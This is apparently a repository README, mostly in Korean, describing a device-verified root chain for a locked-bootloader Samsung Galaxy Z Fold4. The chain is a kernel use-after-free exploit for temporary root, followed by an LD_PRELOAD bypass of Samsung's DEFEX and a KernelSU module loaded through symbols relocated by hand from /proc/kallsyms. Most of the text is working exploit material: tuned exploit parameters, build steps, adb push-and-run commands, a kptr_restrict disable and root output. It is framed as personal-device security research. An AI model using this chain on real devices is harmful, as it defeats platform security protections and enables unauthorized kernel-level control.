
SM-F9360 (Galaxy Z Fold4, q4q) 잠긴 부트로더 KernelSU root — CVE-2026-43499 임시 root → LD_PRELOAD DEFEX 우회 → LTO 미적용 clang-12 kernelsu.ko. 기기 검증 완료 2026-08-12.
CVE-2026-43499 임시 root → LD_PRELOAD 채널로 DEFEX 우회 → LTO 없는 clang-12 빌드 kernelsu.ko → su + KernelSU Manager 전체 기능
상태: ✅ 2026-08-12 실기기 검증 완료 (펌웨어
F9360ZCSAIZF1, 커널5.10.236-android12-9-2755199-abF9360ZCSAIZF1)이 프로젝트는 Bootloader 잠금 상태의 삼성 기기에서 KernelSU root를 달성하는 완전하고 재현 가능한 절차를 기록한다: BL 잠금 해제 불필요, boot.img 플래싱 불필요, Odin 불필요.
TL;DR (English): This repo documents a fully device-verified jailbreak path for a locked-bootloader Samsung Galaxy Z Fold4 (SM-F9360, SM8450, kernel 5.10.236, firmware F9360ZCSAIZF1): a CVE-2026-43499 (rtmutex UAF, fixed in July-2026 firmware) exploit chain grants temporary kernel-domain root; a custom LD_PRELOAD constructor .so bypasses Samsung's DEFEX execve interceptor to init_module() a KernelSU LKM built with the exact device toolchain (AOSP clang 12.0.5 r416183b) and with LTO disabled — the two factors that make the module loadable and its init executable on this CFI/LTO hardened kernel. Result: su works (uid=0, context=u:r:ksu:s0) and KernelSU Manager v3.2.5 recognizes the kernel. Root is in-memory only: every reboot requires re-running the exploit (~3 min, scripted). All pitfalls and dead ends (fake exports, CRC patching, ksud late-load, LTO function-sections layout) are documented below.
본질적 제한: BL 잠금 → root는 순수 메모리 상태. 재부팅할 때마다 exploit 재실행 + 모듈 재로드가 필요 (전체 약 3분, 스크립트화됨). ksud 사용자 영역 daemon은 배포 불가 (DEFEX가 execve 차단, §10-4 참조), 하지만 su / supercall / Manager는 커널 sucompat이 직접 처리하므로 ksud에 의존하지 않음.
경고: rmmod kernelsu는 기기를 즉시 panic 재부팅시킴 (RKP가 메모리상의 syscall-table 복원 경로를 보호) — 절대 언로드하지 말 것.
fastboot oem unlock 없음; 모든 영속적 root(magisk/kernel patch)는 boot.img 플래싱이 필요한데, 잠긴 BL은 모든 자체 서명 이미지를 거부.CONFIG_CFI_CLANG=y + Full LTO. mod->init의 유일한 소스는 CFI jump-table 슬롯 __cfi_jt_init_module; 간접 호출은 반드시 .cfi_jt 테이블 항목을 거쳐야 하며, 그렇지 않으면 CFI 검사가 바로 panic.__ksymtab export 테이블에서 잘려나가, 일반 insmod로는 해석 불가 (Unknown symbol).IGNORE_MODVERSIONS/IGNORE_VERMAGIC 플래그는 전부 try_to_force_load() 막다른 길로 감.sarabpal-dev/IonStack-S22U (b0q / S22U, exp32 라우팅).LD_PRELOAD constructor .so가 root 도메인에서 임의 코드를 실행할 수 있는 유일한 면제 채널.ksud late-load)는 잠긴 BL 기기를 위해 설계됨: boot 플래싱 없이 런타임에 바로 init_module.┌─ Layer 1: CVE-2026-43499 临时 root
│ ionstack-q4q exploit(KASLR 泄漏 → mm reclaim → exp32 32-bit 栈 stamp
│ → CFI r/w → pipe physrw → UMH root daemon)
│ → /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 域 root 命令通道
│
├─ Layer 2: LD_PRELOAD .so 加载通道(DEFEX 绕过)
│ DEFEX 拦截 kernel 域 execve 任何新 ELF(Killed);LD_PRELOAD 的 constructor
│ 执行豁免 → ksu-load.so 在 /system/bin/true 进程内:
│ 读 ko → /proc/kallsyms 手工重定位 201 个 UND 符号(SHN_ABS + st_value=绝对地址)
│ → vermagic patch(旧版需要)→ init_module() → 成功
│
└─ Layer 3: KernelSU 内核模块(无 LTO clang-12 版)
init 完整执行 15 mark 全绿 → sucompat (allow_shell=1) + supercall 可用
다른 펌웨어 = 다른 kallsyms / 레이아웃 / vermagic이므로 target.h 재적응과 재빌드가 필요. §11 참조.
clang-14/15 + focal 소스 clang-12 / lld-12 (/usr/bin/clang-12, /usr/bin/ld.lld-12)CC=clang HOSTCC=clang LD=ld.lld-12FryUpDoe/android_kernel_samsung_q4q (opensource.samsung.com은 Cloudflare 안티 크롤링 있음)exploit은 sarabpal-dev/IonStack-S22U 기반 (SM8450 5.10 실기기 GREEN 베이스, exp32 라우팅). q4q 적응 = 저장소 내 patches/ionstack-q4q-adapt.patch (249줄, target.h 파라미터, kernelsnitch, root.c 등 포함).
export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
cd work/ionstack-q4q # IonStack-S22U clone + 本 patch
make PROJECT=q4q-F9360ZCSAIZF1 # 注意变量名是 PROJECT= 不是 TARGET=
q4q 핵심 파라미터 (튜닝 완료, 변경 금지):
3개의 바이너리 산출 (build/q4q-F9360ZCSAIZF1/): preload .so, app .so, root helper PIE. 기기 측 실측은 반드시 저부하에서 실행 (loadavg < 2.5, 부팅 후 1–2분 대기). 고부하에서는 exploit의 fork 폭풍(~544 스레드 + 1024 futex park 스레드)이 LMKD에 의해 조용히 SIGKILL됨.
이 프로젝트에서 가장 핵심적인 재현 가능 레시피. 먼저 원리를 설명하고, 그다음 명령을 제시한다.
__cfi_check_fail → 바로 panic (CFI_PERMISSIVE 없음). Ubuntu clang-12와 AOSP clang-12도 동작이 약간 다르지만, CFI를 끄면(아래 참조) 그 차이는 더 이상 치명적이지 않음.CONFIG_LTO_CLANG_THIN=y → -ffunction-sections 분할 레이아웃 (447개 ALLOC 소세그먼트, .text=0) → 어떤 버전이든 (스텁조차) 로드 즉시 커널 panic. 공식 ko는 전통적 레이아웃 (22세그먼트) → 항상 로드 가능. LTO를 끄고 재빌드 → 한 번에 성공.__cfi_check 심볼이 없으면 → mod->cfi_check=NULL → cfi_init의 shadow 등록이 건너뛰어짐 → 호출이 CFI 검사를 거치지 않음. 단 주의: mod->init의 유일한 소스는 CFI jt 슬롯 __cfi_jt_init_module (kernel/module.c cfi_init()) — 비 CFI 빌드에 jt 슬롯이 없는 ko는 "Live"가 되지만 init은 절대 실행되지 않음 (가짜 성공!). clang-12는 D __cfi_jt_init_module 슬롯을 자연 생성하므로 수동 objcopy 불필요.# 1) 禁 per-task sysreg stack guard(Ubuntu clang-12 不支持 -mstack-protector-guard=sysreg)
# arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
# 模块 stack protector 回退全局 __stack_chk_guard(kallsyms 有导出,安全)
# 2) .config 与 include/config/auto.conf 同步修改(auto.conf 是 make 实际读的):
# CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
# CONFIG_LTO_CLANG=y → not set
# CONFIG_LTO=y → not set
# CONFIG_LTO_NONE=y
# CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
# + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# (jt 槽 .data→.init 引用会被 modpost 拦成 ERROR,必须开)
# 3) KSU 源码就位 drivers/kernelsu/
# (KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch;Kconfig/Makefile 已接入)
docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
⚠️
.o정리는 필수:.o캐시는 .config 변경으로 자동 재빌드되지 않으며, 잔여 function-sections 산출물이 가짜 성공/가짜 크래시를 유발할 수 있음.
# .text 是统一段(~0x1133c),不是 function-sections 拆分布局
llvm-readelf -S kernelsu.ko | grep -c '\.text\.' # 应为 0
# jt 槽存在(mod->init 唯一来源)
llvm-nm kernelsu.ko | grep __cfi_jt_init_module # D __cfi_jt_init_module
# vermagic 精确匹配设备(用设备树编的天然匹配,无需 patch)
modinfo kernelsu.ko | grep vermagic
# 201 个 UND 符号、无 __cfi_check(模块不参与 CFI shadow)
llvm-readelf -s kernelsu.ko | grep -c UND
llvm-nm kernelsu.ko | grep __cfi_check # 应为空
성공 버전 모듈은 release/kernelsu-c12-nolto.ko 참조 (SHA256SUMS 검증).
DEFEX 의미론 (실측 매핑 결과, 커뮤니티의 기존 인식을 뒤집음):
따라서 ksud 자체 프로세스는 삼성에서 동작하지 않음 (kernel 도메인 exec가 차단되고 shell 도메인은 권한 없음). 자체 제작 로더 = loader/ksu-load.c (KSU_LOAD_AS_SO 매크로 = constructor 버전):
$KSU_KO_PATH 읽기/proc/kallsyms 열기 (먼저 root 채널로 echo 0 > /proc/sys/kernel/kptr_restrict).symtab의 각 UND 심볼에 대해: kallsyms에서 절대 주소 조회 → SHN_ABS + st_value=주소
patched=201 missing=0이면 전부 해석됨find_symbol()/check_version()에 들어가지 않음 → TRIM_UNUSED_KSYMS와 modversions CRC 두 장벽이 동시에 사라짐KSU_VERMAGIC_PATCH=1 (구버전 ko 필요): .modinfo의 scmversion/author/description을 인플레이스로 줄여 바이트 확보 → 기기의 정확한 vermagic 문자열 기록 (LTO 없는 버전은 vermagic이 자동 일치하므로 불필요)init_module(fd, params) → 로그를 /data/local/tmp/ksu-load.log에 기록 (버퍼링 없는 stderr, 크래시에도 로그 유실 없음)$ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
-shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c
adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
# panic 会清零 F2FS 页缓存 —— 每次 panic 后必须 MD5 重新核对/重推
# 重启后必须等 loadavg < 2.5(watch /proc/loadavg)再跑,高负载必失败
adb -s RFCW31TJJ0T shell "
pkill -9 -f 'cve-2026-43499'; # 清残留(⚠️ 勿在 root daemon 活着时用,会误杀通道)
cd /data/local/tmp
KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
"
adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0
adb -s RFCW31TJJ0T shell "
timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
/system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
"
cat /data/local/tmp/ksu-load.log
# 成功标志: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
# → kernelsu 147456 0 - Live (O)
# 1. KSU init 15 mark(/data/local/tmp/ksu-init.log):
# entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
# → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
# → escape-ok → allowlist-ok → hookmanager-ok → late-done
# 2. su:
adb -s RFCW31TJJ0T shell "su -c id"
# → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
# 3. KSU Manager v3.2.5 主页显示:
# 「内核版本 5.10.236-android12-9-2755199-abF9360ZCSAIZF1」= supercall 通过
# SELinux 强制执行 + Seccomp 过滤模式下正常工作
# 1. 重启 → 等 loadavg < 2.5
# 2. 跑 §8.2 exploit(一次成功率高)→ 验证 root
# 3. 跑 §8.3 加载 → 验证 /proc/modules
# 4. su 可用 + Manager 识别
# 全流程 ~3 分钟。scripts/restore-root.sh 为半自动模板。
__jump_table/.altinstructions/.note.gnu.property)도 공식에 존재 → 유일한 차이 = function-sections 분할 레이아웃 (우리 ko의 447개 ALLOC 세그먼트 vs 공식 22개).CONFIG_LTO_CLANG_THIN 전 계열 비활성화 + .o 정리 후 재빌드 → 전통적 레이아웃 → 한 번에 로드 성공, init 15 mark 전부 GREEN..o 캐시는 .config 변경으로 재빌드되지 않음; 설정 변경 시 반드시 find drivers/kernelsu -name '*.o' -delete.mod->init의 유일한 소스 = CFI jt 슬롯kernel/module.c cfi_init(): mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module"). 비 CFI 빌드에 jt 슬롯이 없는 ko → mod->init=NULL → do_init_module 건너뜀 → 모듈은 "Live"지만 init은 절대 실행되지 않음 (ksu_cred 미생성, hook 미등록 — 지금까지의 모든 "Live 껍데기" 현상의 근원). clang-12는 jt 슬롯을 자연 생성; clang-14의 -fsanitize=cfi는 생성하지만 LTO 링크 후 버려짐 (막다른 길).
기기 /proc/version = Android (7284624, based on r416183b) clang version 12.0.5. clang-15/18로 빌드한 ko는 기기에서 __cfi_check_fail → panic, CFI_PERMISSIVE 없음. /proc/version을 확인하고 동일 세대 컴파일러를 사용. AOSP clang r416183b 다운로드 (446MB): https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz (브랜치는 반드시 android12-release; x86_64 버전은 arm64 컨테이너에서 실행 불가). Ubuntu clang-12는 삼성 Makefile의 sysreg guard를 비활성화해야 함 (§6 참조).
§7 표 참조. 핵심: LD_PRELOAD constructor가 유일한 면제 채널; setexeccon 도메인 하향은 무효; ksud late-load 경로는 폐기, 자체 로더 구축. libksud.so (Manager 내장 라이브러리 버전 ksud)는 app 도메인에서 시작 가능하지만 seccomp가 syscall 142를 차단하여 활용에 이르지 못함.
CONFIG_MODULE_FORCE_LOAD=n → IGNORE_VERMAGIC/IGNORE_MODVERSIONS 플래그가 전부 try_to_force_load()로 감 → ENOEXEC 막다른 길. 기기 vermagic에는 LOCALVERSION 접미사(-2755199-abF9360ZCSAIZF1)가 붙어 있으며, 기기 트리(올바른 SUBLEVEL/EXTRAVERSION/LOCALVERSION)로 빌드한 ko는 자연히 정확히 일치. zero-__versions 모듈 (KSU 공식 스타일)은 same_magic에서 전체 문자열 비교를 수행하므로 문자 단위로 일치해야 함.
find_collisions 동일 바이트 수에서 멈춤). 부하가 내려갈 때까지 기다렸다가 실행./data/local/tmp 파일이 소거될 수 있음 — panic 후 모든 바이너리 MD5 검증.pkill -9 -f cve-2026-43499는 root daemon을 오살함: root 채널도 사라지므로 재부팅 후 다시 시도해야 함.set_unbuffer() (kernelsu 툴체인 내장)가 run_exploit에서 호출되는데, 지금까지 한 번도 호출된 적 없음.echo 0 > /proc/sys/kernel/kptr_restrict, 로더는 addr==0 줄을 반드시 건너뛰어야 함.put_cred가 KDP cred를 쓰면 → 동기식 외부 중단 panic.rmmod kernelsu는 반드시 panic (§1).CC=clang HOSTCC=clang LD=ld.lld-12, 아니면 cc-wrapper Error 255.F9360ZCSAIZF1에 바인딩됨. 다른 펌웨어는:
vmlinux-to-elf + llvm-nm);tools/generate_p0_fingerprint.pl);0xa8000000이 장수명 규약임을 증명하므로, 대부분 수정 불필요.BuSung-dev/Root-My-Galaxy / Root-My-Galaxy-Payloads (원본 취약점 익스플로잇과 payload 프레임워크)sarabpal-dev/IonStack-S22U — SM8450 5.10 실기기 GREEN 포팅 베이스 (exp32 라우팅), 이 프로젝트의 exploit이 직접 기반으로 함tiann/KernelSU v3.2.5 — jailbreak 모드 (ksud late-load) + 모듈 본체KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch — 삼성 KDP/RKP/DEFEX 적응xunchahaha/mi_nobl_root — SHN_ABS patch 아이디어의 Python 참조 구현FryUpDoe/android_kernel_samsung_q4q — 커널 소스 미러이 프로젝트는 보안 연구 및 개인 기기 테스트 전용입니다. 잠긴 BL 기기의 알려진 취약점 (CVE-2026-43499)을 이용해 플랫폼 보안 메커니즘을 우회하는 것은 기기 보증 조건 및 서비스 약관을 위반할 수 있습니다. 모든 위험은 사용자 부담: 커널 panic, 데이터 손실, 기기 벽돌화(저확률이지만 존재)는 모두 사용자가 감수해야 합니다. 승인되지 않은 기기에는 사용하지 마십시오. CVE는 2026-07에 업스트림에서 수정되었으므로 펌웨어를 신속히 업데이트하십시오.
LICENSE: 저장소 자체 코드 (loader/ksu-load.c, scripts/, 본 문서)는 MIT; release/kernelsu-c12-nolto.ko는 GPL-2.0인 KernelSU와 삼성 커널 소스에서 파생 (GPL-2.0); patches/ionstack-q4q-adapt.patch는 상위 프로젝트 라이선스를 따름.
| 항목 | 상태 |
|---|
임시 root (커널 도메인 kernel:s0) | ✅ 안정적으로 달성 (연속 9회 성공) |
KernelSU 모듈 로드 (init_module) | ✅ kernelsu ... Live (O) |
| KSU init 전체 실행 | ✅ 15개 마커 전부 GREEN |
su 명령 | ✅ uid=0(root) gid=0(root) context=u:r:ksu:s0 |
| KernelSU Manager v3.2.5 | ✅ 커널 버전 인식 (supercall 감지 통과), SELinux enforcing 모드에서 동작 |
| Bootloader 잠금 해제 | ❌ 불필요 |
| 플래싱/파티션 수정 | ❌ 불필요 |
| 항목 | 값 |
|---|
| 모델 | SM-F9360 (Galaxy Z Fold4, q4q) |
| SoC | SM8450 (Snapdragon 8+ Gen 1) |
| 펌웨어 | F9360ZCSAIZF1 (≤ 2026-06 빌드, CVE 포함) |
| 커널 | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 |
| 기기 컴파일러 | AOSP clang 12.0.5 (r416183b, c935d99d7cf) (/proc/version 확인) |
| 정확한 vermagic | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 SMP preempt mod_unload modversions aarch64 |
| 파라미터 | 값 | 이유 |
|---|
P0_KERNEL_PHYS_LOAD | 0xa8000000 | b0q/S22U 실기기 값 (SM8450 전 계열 규약; 0x80080000은 잘못된 얼라인먼트 가양성) |
APP_KERNEL_PAGE_KSNITCH_IDENTITY_END | 0xffffff8b00000000 (44GB) | 기기 메모리가 phys 33.8–39.5GB에 분산되어 있어 2GB 윈도우(e2s에서 베낀 값)로는 절대 못 찾음 |
KERNELSNITCH_FUTEX_HASH_SIZE | 2048 | 커널 roundup_pow2(256*8)=2048, 기본 4096이면 mm leak 전부 실패 |
KERNELSNITCH_MTE_ENABLED | 0 | 프로덕션 커널 kasan=off, MTE 비활성 |
EXP32_STAMP_OFF | 0x58 | 디스어셈블리로 도출 (b0q/q4q의 futex_wait_requeue_pi와 compat do_ipv6_setsockopt 프레임 일치) |
fork 32→16 그룹 / APPENDED_FUTEXES 4096→1024 | — | 시스템 부하 감소, LMKD SIGKILL 방지 |
KSU_LOAD_ONLY=1 (root.c) | — | fake_exports 건너뜀 (ksu-load.so 수동 재배치로 대체) |
| 실행 경로 | 결과 |
|---|
| shell 도메인 (adb) 새 ELF exec | ✅ 허용 (단 root 없음: CAP_SYS_MODULE / CAP_CHOWN 없음) |
| kernel:s0 도메인 새 ELF exec | ❌ Killed (DEFEX가 권한 상승 도메인 탈출 차단) |
| setexeccon으로 도메인 하향 후 exec | ❌ 여전히 Killed (DEFEX가 LD_PRELOAD 체인 자체를 추적하며, 도메인과 무관) |
| LD_PRELOAD constructor .so를 기존 바이너리에 로드 | ✅ 허용 (유일한 root 도메인 코드 실행 채널) |
| UMH spawn (exploit의 root daemon) | ✅ 허용 |
execvp gcc